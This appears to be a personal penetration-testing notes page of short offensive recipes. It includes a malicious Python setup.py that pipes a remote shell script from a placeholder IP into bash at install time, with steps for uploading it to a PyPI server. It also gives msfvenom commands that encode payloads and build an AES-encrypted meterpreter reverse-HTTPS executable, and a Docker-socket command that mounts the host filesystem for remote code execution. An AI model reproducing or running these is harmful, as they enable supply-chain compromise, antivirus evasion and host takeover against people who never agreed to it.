Notes
Search
K
Comment on page

Misc

PyPi Package Upload

Minimal Python Package:
from distutils.core import setup
import os
if not "xct" in open("/etc/passwd").read():
os.system("curl <ip>/x.sh|/bin/bash")
setup(name='xct',
version='1.0',
py_modules=[],
)
Then you can do python setup.py sdist upload -r local do upload it to a remote server pypi server. This needs a configuration file in home:
[distutils]
index-servers =
local
[local]
repository: http://<>
username: <>
password: <>

Encode existing payload with msfvenom

msfvenom -f raw -i 33 -a x86_64 --platform windows -e x86/shikata_ga_nai -p generic/custom PAYLOADFILE=<file> -o <enc_file>
Note that shikata-ga-nai does not work for x64 payloads, in this case we can use x64/zutto_dekiru.

Create encrypted payload with msfvenom

msfvenom -p windows/x64/meterpreter/reverse_https LHOST= LPORT=443 --encrypt aes256 --encrypt-key mykey -f exe -o aes.exe

Exposed Docker Socket RCE

docker -H <ip>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
For file access cat /mnt/etc/passwd, for RCE chroot /mnt.